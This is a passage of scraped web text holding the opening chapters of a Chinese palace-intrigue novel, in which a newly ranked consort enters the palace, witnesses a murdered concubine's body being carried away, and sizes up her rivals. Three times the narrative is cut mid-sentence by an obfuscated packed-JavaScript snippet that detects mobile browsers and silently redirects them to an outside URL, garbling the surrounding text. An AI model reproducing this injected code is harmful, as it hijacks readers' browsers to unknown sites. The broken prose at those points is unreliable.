《贵妃娘娘青云直上》 1. 第 1 章 天启七年二月尾旬,春寒料峭,长安一连数日阴雨绵绵。 马车轱辘辘碾过石板街上的积水,发出细微的溅水声,晨光熹微,周遭万籁俱寂。 薄予诗轻轻打帘往外瞧一眼,灰沉沉的天色里,红墙黛瓦细雨朦胧,虽只窥得一角,却也看得出皇宫是怎样的气派巍峨。 今日是新秀入宫的大吉之日,薄家上下一早便严阵以待,她本该欣喜,可这小雨下得不见尽头,不知怎的,越靠近宫中她便觉得越觉得不宁,一缕冷风吹进车里,寒津津的,仿佛周身都染了些刺骨的潮气。 “小主,到了。” 很快,马车停下,车外头传来询问之声。随侍的月娥和雪娥率先下去,月娥伸出手搀扶薄予诗踩着高凳出来,雪娥遂即打上伞,一人两仆站在迎接新秀入宫的毓庆门外,聘聘婷婷,格外打眼。 车内随从的教引嬷嬷前去表明身份,门前侍卫立刻退到两侧行礼,门内很快笑着迎上来一个小太监。 听见声音,薄予诗稍稍侧过身去,罩在头上的伞微微一抬,细密的雨帘后便露出一张肤色胜雪,明眸皓齿的美人面来。 天灰落雨,长街黯淡,她却好似不受丝毫影响,天地间唯这一抹摄魂姝色。她就那样静静地看过来,不发一言,却叫人忍不住将目光停留在她身上。 宫中从来不缺美人,但薄予诗的美貌还是让他凝滞了瞬,直到月娥蹙眉轻咳了声,他才立刻低下头跪着行大礼:“奴才给薄美人请安,美人——长乐万福。” 他特意在念出位分的时候停顿,嗓音也因激动而随着拉长,叫周围人都知道他接了份好差事。 果然,话音才落,周遭霎时间传来不少目光。 谁都知道今年圣上选秀共选出十二位新人,比往年两次加起来都多,新人多了宫里热闹,可新主入宫,也不是谁都要巴结,自然分个三六九等。 早在三日前,皇上册封几位小主的旨意就已经下达至各府邸,其中最受人瞩目的便是位分最高的几位,薄予诗正是其中之一。 按着大朔的规矩,新人初封最高是正六品贵人,最低是正九品采女,若无意外,一般是按着家世册封。 薄予诗的从六品美人已经是其中佼佼,仅次于贵人的位分,但重点在于,她的位分原本不该是美人,该是正七品才人。 这能说明什么? 自然是皇上对她另眼相待,这才额外抬了一级。 有这份殊荣在身,怎能不令人多多关注,也难怪这么多人往她这瞧。 薄予诗早知会是如此,但她并不愿在此时过多招惹宫中众人的关注,只稍稍颔首道:“有劳公公了。” 小太监忙应一声,躬着身子带她们从毓庆门到早已分配好的宫殿,一路上红墙高竖,四下安静,只偶然得见三两宫人撑伞穿行。 住所分配听闻是皇后娘娘安排,三日前公公去宣读皇上旨意的时候不曾提及,所以今日入宫,就连薄予诗自己都不知道她会住在哪里。 石板街上的小水洼被雨滴溅起一个又一个水花,即使万般小心还是弄脏了她华贵的裙摆,阴雨天气加之薄予诗心中不宁,一路上只堪堪展露过一次笑脸。 引路的小太监似瞧出新贵心绪不佳,斟酌着回头笑道:“方才路过的几所宫殿都不如您的好,美人不必担忧。” “您可是此次新人中位分第二高的,前途无量呢。” 薄予诗岂会听不出他话语中的宽慰之意,浅笑着应道:“有公公这句话,我心中自然安定。” 身后的月娥上前将一个沉甸甸的锦囊塞到他手里,他立刻笑意更甚,拱手道:“多谢美人好意,奴才必当尽心尽力。” “您的居所皇后娘娘安排在玉芙宫,那可是宫里顶好的地方,三面环景,钟灵毓秀,离皇上的建章殿也近。最要紧的是,这玉芙宫无主位,据奴才所知,只有一位梅才人和您同住,也是今日入宫的小主。” 玉芙宫无主位,仅一位同住的嫔妃,位分又不如自家主子,实打实的是好消息。月娥和雪娥顿时相视一笑,一早沉闷的气氛总算松快了些,就连一直心绪不宁的薄予诗都轻轻点头,显然心情有所好转。 “多谢公公提前告知。” 年前大选在掖庭学规矩的时候,薄予诗就知道这位梅才人,她们二人家世相近,曾说过几句话,知道她不是个跋扈多事之人。 有这样的人同住一宫,不奢望能够相处得多么和睦,总归不会闹出太多是非来,牵连到自己。 要知道,如今宫里的高位娘娘们,没一个是省油的灯。 玉芙宫没主位实在是好事,否则一举一动都在人监视之下,想要在宫中站稳脚跟更是步履维艰。看来上天还是眷顾她薄予诗,入宫的每一步都走得如此四平八稳。 思及此,薄予诗的脸上终于漾开淡淡的笑容,尽管依然十分矜持内敛,可还是看得出她心情不错。 再往前,穿过一道拱门,小太监摆手朝前,说道:“小主,前头左转,再穿过两条街就到您的玉芙宫了,伺候您的宫女太监们已经在宫里候着,您一到便能歇着。” 薄予诗的视线落在他早已被雨浸湿的衣衫上,正准备说几句客套话,请他稍候入宫内赐茶,谁知还没开口,前头的拐角处便急匆匆出来七八个太监,口中还低声喊着:“脚步快些,别冲撞今日新进宫的贵人们!” 她心中疑惑,抬眼去瞧,谁知几人手中抬着担架,上头盖着一大块草席,那草席已经被鲜血染红,随着他们的步子往下滴答滴答渗着血迹,在雨中溅起血花,很快就连成一片,好不瘆人。 这是……有死人! 薄予诗大骇,脚步仿佛被钉在原地动弹不得,浑身的血液都倒流了。 抬着尸身的几位太监见到新秀入宫,却一步都不敢停,各个屏息低头加快脚步,生怕耽误时辰落得一样的下场。 月娥反应最快,立刻上前护着她,用伞挡住她的视线:“小主,别看!” 但薄予诗还是看到,他们抬着尸身快速路过的时候,那草席下滑出一只穿金拢翠的手来,分明不是寻常宫人的手。 长街上冷风瑟瑟,春雨寒凉,刺得人骨头都是疼的,此时此刻更是从头凉到了脚。 薄予诗吓坏了,心口猛地被攥住似的发紧,突突直跳,面上的笑容也被惊惧替代,几乎说不出话来。 她早知深宫凶险,死于后宫争斗之中的人比比皆是,自问做好了万全的准备。可她无论如何也想不到,第一次直面死人,竟是在新秀入宫的大吉之日。 名门闺秀,自幼娇养,何时见过此等场面?月娥护着薄予诗往前走,眉头紧蹙,开口道:“公公可知出了什么事?方才被抬着的又是谁?” 宫中死了人,消息很快就会传遍,谁知引路小太监却对此讳莫如深,只字不提,反而满眼畏惧地加快了脚步,连声音都发颤:“小主,请快些走吧。” 薄予诗的心彻彻底底沉了下来。 死的人究竟是谁,又是谁的手笔?能让宫里所有人都如此畏惧? 她犯了什么事非死不可,又为何偏偏是今日? 还是说,处死她的人,就是故意要在今日给所有新人一个警告? 一连串的问题在心中纠缠不休,薄予诗连自己是如何到的玉芙宫都不记得了,再回过神,已经到了她的住所——玉芙宫绮绿馆,拨来侍奉她的四个宫女和四个太监已经在廊下跪迎了。 主仆初次相见本是件高兴事,可薄予诗一入宫就受到了惊吓,勉强敲打了几句分发下赏赐,月娥和雪娥便伺候着她先入房内歇息,好叫她快些舒心宁神。 绮绿馆初迎新主便是这般场面,底下的人私下难免议论纷纷,不知到底出了什么事。 但薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550524|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 予诗此时心中愈发惴惴不安,好似一路上的不宁终于在此刻印证了她的直觉。 今日,为何偏偏是今日? 好大的手笔,若真是用一条人命来做下马威,可见心中对她们这些新人忌惮成了什么模样。 既如此,那她身边的人和物能有几分干净? 薄予诗看了月娥一眼,她立刻会意,掀开珠帘出去给底下的宫女太监们分配差事,又借收拾行囊之名检查屋内有无不妥。 约莫半个多时辰后,月娥端着茶盏从外头进来,低声道:“小主,奴婢已经安排好底下人的差事,您请用茶。” 说罢,她轻轻摇头,声音越发压低了些:“目前还看不出什么,小主且先放宽心。等时日长了,奴婢会更细致地检查,确保您在宫中无虞。” 有月娥此言,虽不能完全放下心,薄予诗总算稍微松了口气。 月娥和雪娥都是她从家中带来的侍女,月娥年纪稍大些,是父亲和母亲精心挑选送到她身边伺候的,行事稳重,更有些辩物识物的本事,雪娥则从小和她一起长大,对她忠心耿耿。 有她们贴身照顾自己的起居,总归比宫里这些不知根知底的好上数倍。 此时天已经大亮,算算时辰,今日入宫的新秀们也差不多到齐了,不知有没有人和她一样看见了今日之事,想来很快就要有消息了。 果然,不过一盏茶的功夫,绮绿馆外便传来消息,说梅才人前来拜见,神色惊惶。 偌大的玉芙宫现在只有她和梅才人两个人住,按着位分,的确该是梅才人前来拜见她。 薄予诗命人将梅才人迎进屋内,她步履匆匆,一见到面便双眼含泪,显然受了大惊吓:“姐姐可也看见了?” 说罢,她才意识到自己失态,立刻垂泪退后一步,向薄予诗行大礼:“妾身才人梅氏,给美人请安。” 薄予诗抬手将她扶起来,温声细语:“妹妹不必多礼,喝盏茶定定神。” 她亲自斟茶,推到梅才人跟前,轻声道:“你也看见了?想来今日此事必要闹得满城风雨,只是不知道究竟是谁。” 梅才人来得稍晚些,所以刚进后宫不久就瞧见了尸身,且不仅仅是她,一同进宫的还有其余新晋嫔妃,都看见了。 她哭得梨花带雨,抽噎道:“姐姐有所不知,我才进玉芙宫便让人出去暗中打听,才知道宫里竟有如此骇人之事。” “惨死的人是先前得宠的琏常在,是……是盈妃下旨将她杖毙,说她有违宫规,以下犯上。” “可那是一条活生生的人命啊,还是皇上宠爱的嫔妃,却死得那么轻易。皇上不是宠爱琏常在吗?盈妃怎么……”她不敢再说下去,转头抓住了薄予诗的手,“姐姐,我实在是害怕。” 梅才人惊魂未定,此刻薄予诗的心中也仍然不平静。可她很清楚,害怕没有用,这反而是在提醒她,别以为入了宫就可以得意忘形。 后宫规矩森严,她的一举一动、一言一行都要格外谨慎留心,时刻提醒自己,深宫凶险,别让人抓到把柄,凡事都不像表面那么简单。 就比如此时此刻的梅才人,她是害怕不假,可一到玉芙宫便先来绮绿馆哭诉,她们的关系亲近到如此地步了吗? 是为了拉进关系,还是为了试探,她不得而知。 但她知道,若真的跟着梅才人抛出的话题议论起盈妃和皇上,万一隔墙有耳,恐怕才是真的大祸临头了。 何况琏常在刚死,哪能知道将来会发生什么事?皇上是追究还是不追究,琏常在的死又是否会牵扯出别的麻烦,她们不过小小新秀,岂会得知。 薄予诗面色依旧,柔声道:“咱们只是新入宫的嫔妃,这些事跟咱们没有关系。你若真的害怕,便装聋作哑,别惹火上身。” 最后一句话,她说得格外轻缓,梅才人带泪的长睫微微一颤。 2. 第 2 章 她完全没想到,薄予诗会对今日发生之事毫不在意,又或者说,是完全忍得住好奇心。 但话已经这么说了,梅才人当然不会这么不识趣,尽管她真的很想有个人能和自己讨论此事,但她也知道,薄予诗说的是对的。 梅才人没再多话,轻轻点了点头,将跟前的一盏茶尽数饮尽。 再往后,她们没再提及方才所见,只是有一搭没一搭的聊起家中琐事,宫中见闻,还有此次新人的位分,时间渐渐过去,梅才人和薄予诗都平静下来。 等坐得差不多了,梅才人起身请辞,薄予诗亲自送她出门,临到屋门口的时候,梅才人忽然转身看向薄予诗,小声问能不能常来坐坐。 薄予诗自然不会不肯,颔首应允的同时,又答应了梅才人今晚同进晚膳。 若非今日琏常在身死一事,薄予诗本不想在一开始便和宫中嫔妃走得太近。 可到底梅才人和她同住一宫,又出了这样的事,宫中人人自危,若一开始表面得过于不近人情,暗中得罪了梅才人反而不利。 送走梅才人以后,薄予诗在暖阁中歇息,临窗观雨,外头小雨依旧未停,这会儿四下静悄悄的,只能听见滴滴答答的雨声。 “小主,奴婢点了您最爱的香,闻着能好受些。” 月娥端着一只小巧的青铜香炉进来搁在案几上,白袅袅的烟丝缓缓沉落,熟悉的香气很快四溢开来。 潮湿的雨气被暖香取代,陌生的空间内终于有了一丝熟悉的事物,薄予诗的情绪渐渐舒缓下来。 月娥低声道:“小主,依奴婢看,您得多提防着些梅才人。虽说眼下看不出什么,可人心隔肚皮,谁也不知道将来会怎么样。” 薄予诗敛眸轻声:“这个我知道,只是今日的事你也瞧见了,宫里已经出了这么大的事,往后还不知会怎么样,不好现在就得罪了人。何况我们都是第一日进宫,明日要去给皇后请安行大礼,三日后才能安排侍寝。既没有暂时利益相争,她没道理这么快与我交恶。” “我心里,始终放不下方才盈妃和琏常在的事。” 说起琏常在被盈妃杖毙之事,连年长稳重的月娥都蹙起了眉头,眼底难掩惊色:“虽说在府里的时候,老爷和夫人就说过宫中大致的局势,知道盈妃得皇上宠爱多年,行事一向跋扈,绝对是不好相与之人。可还是没曾想,她竟然猖狂到这般地步,无协理六宫之权都敢杖毙皇上宠爱的嫔妃,实在是骇人听闻。” 她压低了声音:“难道她就不怕皇后和攸贵妃怪罪吗?” 薄予诗轻声道:“盈妃得宠多年,膝下又有大公主傍身,敢这么做必然有全身而退的把握。何况后宫虽是皇后和攸贵妃管事,可严格来说,盈妃并没有坏了宫规。” “父亲说过,大朔尊卑分明,朝堂如此,后宫也是如此。凡位高权重者,地位都极其尊崇,只要身居一宫主位,皆有训诫正六品贵人以下低位嫔御的权利,此为教导,不叫惩处。” 雪娥在一旁低声惊呼:“可是琏常在都死了,这也不算惩处吗?” 薄予诗缓缓抬眼:“人都死了当然说不过去,可这就是盈妃聪明的地方。” “琏常在是什么人?她虽然这几个月小有恩宠,说到底不过是汤泉宫女出身,无依无靠,即使死了,又有谁会为她出头,何况盈妃先占了一个琏常在以下犯上,藐视宫规的罪名,有理有据。” 雪娥迟疑了瞬:“可皇上不是……” 薄予诗知道,雪娥想说的是,琏常在虽然出身卑微,可终究皇上喜爱,难道盈妃也丝毫不顾忌吗? 但她不知道,这才是今日之事里,最最让薄予诗感到心惊和后怕之处。 自从决定入宫后,薄家一直在暗中打听宫中事宜,所以早在入宫前,她便听闻这位琏常在十分得宠。 从数月前于汤泉宫得幸开始,初封为最末等的采女,一路接连晋封,越御女、宝林之位到常在,甚至得皇上亲赐封号“琏”字,以示恩宠。 一切都能证明,皇上十分喜爱这位新宠,在她身上丝毫不吝啬自己的大方和宠爱,又赏赐那么多的金银珠宝加身,就连她死时,手上都戴着那些光华夺目的首饰。 可即使如此,盈妃说杖毙就杖毙,无非是她清楚,皇上其实从未把这位琏常在当成过一回事。 在皇上眼里,她不过是一个唾手可得的玩意儿,一时兴起想宠就宠,死了便罢,即使曾经同床共枕又如何? 后宫永远不缺侍奉他的人。 如此薄情,当真令人不寒而栗。 气氛凝结之时,反而是年纪稍幼的雪娥上前给薄予诗捶肩膀,笑着宽慰道:“小主何必忧心,宫里的日子哪儿有好过的,不过是把往后的日子提前看见罢了。您自幼多智,怎会不知宫中勾心斗角,何况以您的天资,在宫中站稳脚跟是迟早的事。” “琏常在福薄命短,不如小主福祚绵长,说不定,您将来会走得比盈妃更远,在皇上心理的分量更重呢?奴婢知道,只要您想,您就一定做得到,奴婢会一直跟在您身边的。” 一整日谨慎行事,受惊惶然,唯有雪娥的一番话最能让薄予诗宽心。 她终于展颜,轻笑着道:“是了,有你们在身边,我自然万事无忧,何愁将来呢?” 说罢,她再次放轻了声音:“马上午膳了,趁此机会暗中打听打听今日之事,有多少算多少。” 囿于原地不可取,既已进宫,薄予诗绝不做砧板上的鱼肉。 见主子重现笑颜,雪娥之前的阴霾立刻一扫而空,欢欢喜喜出门了。月娥见此也松缓下来,打量着周遭笑着说:“马上就是午膳时间了,小主不如在院内转转,自打住来您便没得闲过,还没好好瞧瞧咱们的绮绿馆呢。” “听说今年选秀皇上很重视,宫中空置的宫舍不少都重新修葺了。奴婢进来的时候四处看过,果然添置了不少珍奇摆件,院内布局也有新修的痕迹。游廊新补了漆,一路垂着紫藤花,花圃也打理得错落有致,这还只是院内,屋内便更是精致了。” 薄予诗抬步从暖阁走出去,头一次认认真真打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550525|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量她如今的居所,终于明白接引的小太监为何说玉芙宫是个好地方。 从暖阁到偏阁,再到寝房,最后站在檐下往院内看去,每一处都典雅细致,浑然天成。 殿小而雅,器多用精;庭院深深,花木扶疏,实在是用了心思。 月娥含笑道:“奴婢送梅才人回去的时候大致瞧了眼,她的绽蕊轩便不如您,可见皇上待您与众不同。” 薄予诗清浅一笑,无奈道:“宫殿是皇后娘娘所定,与皇上无关。” “那也是小主有这份前途,否则皇后娘娘又为何格外倚重?”月娥深信自家小主前途无量,“您可是破例封的美人,其余十一位小主皆无此尊荣。” 午膳时分将至,宫门外过路的宫人越来越多,薄予诗弯了弯唇角没说话,转身回到暖阁看书去了。 约莫着时辰差不多了,雪娥带着两个小宫女和两个小太监提着膳食回来,不多时,菜样便琳琅满目摆了一桌子。 薄予诗放下书卷走出来,垂眼一看,齐齐整整的四菜两汤两点心,正是美人的份例,一点都不少。荤素搭配、菜色油亮、有虾有肉,做得样样精致,连点心都不俗。 雪娥上前张罗着布菜,小声着说:“小主不知道,方才尚食局可热闹了,奴婢故意磨蹭了会儿,果真听见不少消息。” “先是闹得最大的琏常在身死一事,各宫私底下都传开了,说什么的都有。似乎是因为琏常在原先得宠时对盈妃娘娘不敬,私下大放厥词,传到了盈妃耳朵里,这才导致了今日的祸事。还有人说,琏常在的尸身被丢去了乱葬岗,不得安置在往生阁。” 薄予诗若有所思的点点头,默了须臾,抬手将她额角的雨水擦掉,温声问道:“可还听到了旁的?” 雪娥颔首:“奴婢去得早,加上咱们绮绿馆受重视,尚食局早早就把配好的菜样送出来了,所以没能听见后头的。但奴婢出来的时候听见有人抱怨,说宫中来了新妃,尚食局就看人下菜碟,净拿些破烂糊弄人,还说——当心盈妃娘娘怪罪。” “那人是谁的宫女?”薄予诗淡淡笑了声,扬眸问道。 雪娥思索着:“听旁边的人说,她是穆贵人的贴身宫女。” 尚食局负责输送全宫的膳食,每日肉菜多少都有固定份例,登记在册,不会因一人破例。可宫里人这么多,必然周全不了所有人。 有皇子皇女的不可慢待,高位嫔妃不可慢待,得宠的嫔妃不可慢待,如今才来了新妃,保不齐哪个将来就是新的宠妃,第一日也不可慢待。 所以按着每人的价值挑拣分配后,剩下的便只能给那些不得脸的嫔妃。穆贵人是天启四年大选入宫的旧人,一直不得皇上宠爱,正在其列。 尤其今年入宫的新人格外多,过去那些旧人原本过得尚可,恐怕自今日起好不到哪里去。 利益当前,这穆贵人背后似有盈妃撑腰,说不定今天还会再闹出什么事来。 午膳用罢,薄予诗抿着清茶在榻上歇息,门外传来消息,说各宫娘娘送的贺礼到了。 3. 第 3 章 薄予诗当即放下杯盏起身,雪娥与她一道移步到正厅内,月娥正在一旁和两个小宫女清点贺礼单子,锦盒堆了满满一桌子。 见小主来了,月娥牵起笑容说道:“小主,几位娘娘派来送礼的都是各宫的掌事宫女和掌事太监,足见重视,但今日事忙不便多留,只将东西放下,您请来瞧瞧。” 皇后娘娘送了颜色雅致的妆花缎四匹,云锦四匹;攸贵妃送了赤金累丝蝴蝶簪一对,珍珠串玛瑙璎珞一条,金镶贝梳一个,羊脂玉镂空花簪一对;盈妃送了琉璃盏一对,苏绣团扇两柄,白玉如意一柄,谈贵嫔送了玉禁步一枚,碧玉手镯一对,还有一支银鎏金鸾鸟步摇。 皆是宫中上等的物件,每一个拿出来都是巧夺天工,造价不菲。 给新人送贺礼,不仅仅是身居高位者给下位者的恩赏,更是一种隐晦拉拢的手段。 在她们眼中,自身价值几何,有无前途,都在这些贺礼中了。 比如皇后娘娘的八匹绸缎价值连城,裁成衣裳上身更添女子华美,而盈妃的贺礼皆是些名贵的摆件,无一 可用在装扮上,是何心思,明眼人一看便知。 薄予诗随手拿起盈妃送的苏绣团扇看了几眼,问道:“祁妃不曾送东西过来吗?” 月娥颔首:“是,听说不光是咱们这,其余小主那里也是一样的。” 据薄予诗所知,如今宫中主位一共五人,皇后、攸贵妃、盈妃、祁妃、谈贵嫔。其中祁妃最与众不同,她性情冷淡,不喜繁文缛节,更不喜和人打交道,即使见了皇后和贵妃,她也未必会有好脸色。 这样的一个人不理会新妃是再正常不过的事,薄予诗并不意外,甚至于,她还十分喜欢这样的人。 不理世事,不给好脸色,恰恰说明她心思纯粹,懒得勾心斗角,这般性情即使不能交好,也不会交恶。 说到底,这些高位里最让薄予诗忌惮的,还是盈妃。 明日阖宫觐见时就会见到本尊了,还不知会掀起怎样的风波。 薄予诗压下思绪不再多想,定神在窗前看书,读书使人明理宁静,她的心神渐渐安定下来。 等到晚间,梅才人如约而至前来与她一同用晚膳,二人说说笑笑,一扫午间阴霾,又商议了明日觐见时所穿宫裙,这才在天将擦黑时回宫。 夜色渐浓,宫灯吹灭几盏,只余浅淡光亮。春寒露重,万籁俱寂,小雨又滴答滴答落起来。 薄予诗细指拢了拢贴身薄衫,月娥正为她卸去钗环,雪娥将灌好的汤婆子塞进整理好的被褥里,回过头小声说:“明日阖宫觐见再歇息一天,后日晚间,您这一批新人便可以侍寝了。” “奴婢原本觉得齐贵人会是第一个侍寝的,可再想想又觉得不一定,说不定您才是第一个呢。” 薄予诗微微侧首:“此话怎讲?” “午膳的时候,奴婢不是跟您说穆贵人身边的宫女在尚食局抱怨饭菜一事吗?本以为只是说说,谁知晚膳的时候奴婢才听说,原来后头还出了更大的事,”雪娥走上前,伺候着她躺在床上,细心地掖好被角,“听说她走的时候十分不满,失手打翻了齐贵人一半的午膳。” “今日尚食局本就忙碌,各宫的午膳都有定数,腾不出多的。可齐贵人是新贵入主,是您这一批新妃里位分最高的,三朝国公,家世何等显赫,第一天进宫的大吉之日,难道就因为穆贵人宫女的过失饿肚子不成?何况齐贵人和穆贵人虽都是贵人的位分,在宫里的地位却不同,齐贵人怎可能上来就吃这么大一个亏,当下便将此事告到皇后娘娘那里去了。” 雪娥紧皱着眉头,边摇头边说着:“皇后娘娘罚了穆贵人的宫女一个月份例,命穆贵人好生调/教自己的下人,又好生安抚了齐贵人,这才算罢。” “可要紧的是,穆贵人是盈妃娘娘的人,穆贵人脸上落了面子,少不得她也面上无光。盈妃在宫里虽无权,在皇上跟前却是一等一的红人,她未必肯善罢甘休。万一在皇上跟前吹什么耳旁风,齐贵人即使再如何出身高贵,恐怕将来的路走得也不会太顺利。按着次序下来,不是齐贵人,那便是小主您了。” 薄予诗玩味地长嗯一声,打趣她:“果真是入宫后有长进了,懂得分析局势了。” 雪娥脸上泛红,讷讷道:“ 奴婢不过是猜测,小主还取笑奴婢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550526|204310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。再说了,您本就是这一批新人中最出挑的,即使没有齐贵人,您说不定也能拔得头筹。” 薄予诗莞尔一笑,不甚在意:“是不是第一个有什么要紧,先侍寝,皇上就会一直宠谁么?” 宫中生存,看的从来不是先来后到,是各人本事。即使得宠了,如琏常在那般也是无用。 她想要的,远比这更多。 “不过……这事还真说不准,谁知道盈妃和齐贵人怎么想的?明日咱们看看就知道了。” - 翌日一早,薄予诗按着时辰起身盥洗更衣,特意选了身不惹眼的天青色宫裙。她不欲在今日过于引人注目,所以只略施粉黛,稍作打扮便出了门。 同宫的梅才人自然要粘着和她一同去,晨起不曾下雨,难得天色放晴,宫道上罕见落了熹光。 玉芙宫离凤仪宫最近,稍走一阵便能到,加上她们几乎是最早动身的,此时宫道上还没有什么人。 就在薄予诗和梅才人一边低声交谈一边欣赏春色的时候,身后却传来沉重的脚步声,听着人数不少。月娥立刻低声提醒:“小主,御驾经过。” 薄予诗与梅才人不敢耽搁,当即退到两侧俯身行礼,避让御驾前行。 随后脚步纷至沓来,而后余光便看到明黄色的肩舆掠过。 御驾队列何等壮大,前后仪仗数十人,从身前经过的时候,无形中传来迫人的威压,令人不敢轻慢。 薄予诗全程不敢抬头以免失仪,长睫却颤了颤。 不知是否是她的错觉,似乎御驾在经过她时停顿了瞬,有打量的目光落在她身上。 等御驾远去,薄予诗和梅才人才站起身来。 身为新进宫的嫔妃,岂有不好奇皇上的?她们一时间都没开口,忍不住站在原地眺望过去,直到见御驾即将拐进前方的宫道,想来是要回建章殿去了。 可就在皇上的肩舆要离开视线前,薄予诗却看到上首那位高不可攀的当今圣上,缓缓偏头,朝这边又看了一眼。 这一眼路途遥遥,很快便消失在视线里,薄予诗甚至不敢确认,他看的究竟是自己还是梅才人。 4. 第 4 章 小小插曲过后,薄予诗很快收回视线。 但她扫过梅才人的时候,却看到她还怔怔地看着宫道尽头,贝齿轻咬,双颊微微泛起红晕。显然未从偶遇皇上这件事中抽出身来。 正当妙龄的少女,会对天子心生仰慕是再寻常不过的事。其实也不怪梅才人这般,皇上那一眼看的究竟是谁她们不得而知,毕竟能选入宫中的嫔妃,自然都合皇上眼缘。 薄予诗轻笑一声:“妹妹还没看够?等将来侍寝承宠,自然有你看的时候。” 梅才人赶紧收回目光,春色含潮的一双眸羞得躲闪,细声细气道:“姐姐何苦打趣妹妹,姐姐美貌非常,皇上定是看姐姐呢。” “我只是……我只是没想到,皇上生的果真这般英武不凡,将来便是殿中伺候,我也不亏了。” 薄予诗掩唇弯了双眼:“还没侍寝便想到这儿来了?” 梅才人羞得跺脚往前快走两步,二人这才说笑着进了凤仪宫的大门。 说起当今皇上,薄予诗了解的不算多。 只听闻他十七被先帝调入边关,一连数年镇守边疆,银枪映日,弓马娴熟。金尊玉贵之躯被锤炼得铁骨铮铮,又在驻守边疆数年后回一朝回京,闹得满城风雨,没过不久先帝退位,一纸诏书登基为帝。 而薄家,也正是在这个关键节点中行差踏错,渐渐式微,到现在大不如前。 她们这位皇上,昔日横刀立马,今朝御极九州。 二十四岁登基,少年天子却是铁血手腕,如今不过三十有一,便已四海臣服,万民安乐,既令人畏惧心颤,也令人心生神往。 只是凡事皆有两面,深宫之中,有些事早已成了人人皆知的忌讳,谁也不能提。 - 凤仪宫庭院内,前来向皇后请安的嫔妃陆陆续续到了大半。 晨起风冷,春寒犹刺骨,皇后娘娘体恤众人,特让嫔妃们先进殿内小坐。 薄予诗按着位分落座在中间的座位上,左手边是齐贵人,她的正对面便是穆贵人。 她不动声色地抿茶,果真见二人谁也不搭理谁,虽都是贵人的位分,到底是前后辈,却半句客套话也无。 齐贵人神色淡淡的,反观穆贵人面色不大好,偷偷斜眼打量了齐贵人好几回,还是手边的人和她说了几句话,这才收了情绪。 阖宫觐见的日子,她们这些小打小闹不过是暗流涌动,重头戏还在后头。 约莫两刻钟过去,宫门外唱礼的声音一声声响起,先是谈贵嫔,再是祁妃、攸贵妃,最后才是盈妃。 其余高位暂且不提,终于见到盈妃的真容,在场包括薄予诗的所有新人都提了一口气。 毕竟昨日琏常在惨死的模样她们谁都忘不了,若有胆小的,恐怕午夜梦回都睡不好觉。 有此前车之鉴,谁还敢得罪盈妃?将来见着她恐怕都得绕着走。 不论此事如何,盈妃想要立威的目的算是达到了,还做得十分深入人心。 关于盈妃,薄予诗暗中打听过她从前的事迹,人人都说她跋扈,刻薄,手腕狠辣。 可没想到,她本人生得如此杏脸桃腮、莺声燕语,一看就知是江南水乡的女子。虽年纪稍长,可眼角眉梢都带着风情,只是眸光流转的瞬间,能看到里头一闪而过的寒光。 她今日可谓盛装出席,繁复的宫裙逶迤在地毯上,清晰可见上头精致的刺绣,发间的金步摇更是璀璨得刺眼,盈妃弯唇笑着,看起来十分无害:“妹妹们到的真早,是本宫来迟了。” 话音一落,她懒懒歪着身子向攸贵妃请安,径直起身坐到了自己的位置上,除了攸贵妃之外的所有嫔妃都要起身向她行礼。 她摆摆手,示意众人落座,这才慢悠悠地朝薄予诗和齐贵人的方向看过来。 “这就是昨儿入宫的妹妹们?果真相貌个顶个的好,本宫见了都喜欢。”说罢,她笑眯眯地看过来,吴侬软语的调子微微上扬,“对了,谁是齐贵人?本宫听说昨儿尚食局办事不利,出了点岔子,没委屈了妹妹吧?” 盈妃三言两语,立刻便将众人的视线都凝聚在了齐贵人身上。有些消息不灵通,对昨日之事毫不知情的,还真以为盈妃是在关心齐贵人。 话头落在齐贵人身上,所有人都在想她会如何应对。毕竟齐贵人家世显赫,初封就是贵人,难免心高气傲,她没找穆贵人的事都算大度了,更别提盈妃主动挑衅。 但齐贵人只是淡淡地看了盈妃一眼,起身福了福:“多谢盈妃娘娘关心,皇后娘娘昨日处置妥当,妾身一切安好。” 不卑不亢,进退得宜。 既不因盈妃而诚惶诚恐,也不因为穆贵人的过失而上纲上线。 攸贵妃将这一幕纳入眼底,神色中浮上几分欣赏。 盈妃自以为处死一个琏常在就能稳稳压住这批新人,好让她们心生畏惧不敢出头,不曾想,有人当面就不买她的账。 但盈妃依然笑着,一副真心关怀齐贵人的模样:“齐贵人无碍就好,否则本宫定不轻饶了她们去。你穆姐姐跟在本宫身边久了,多少随了点本宫的性子,管教下人惯是马马虎虎。虽说皇后已经惩处了,可本宫还是觉得委屈了妹妹。” 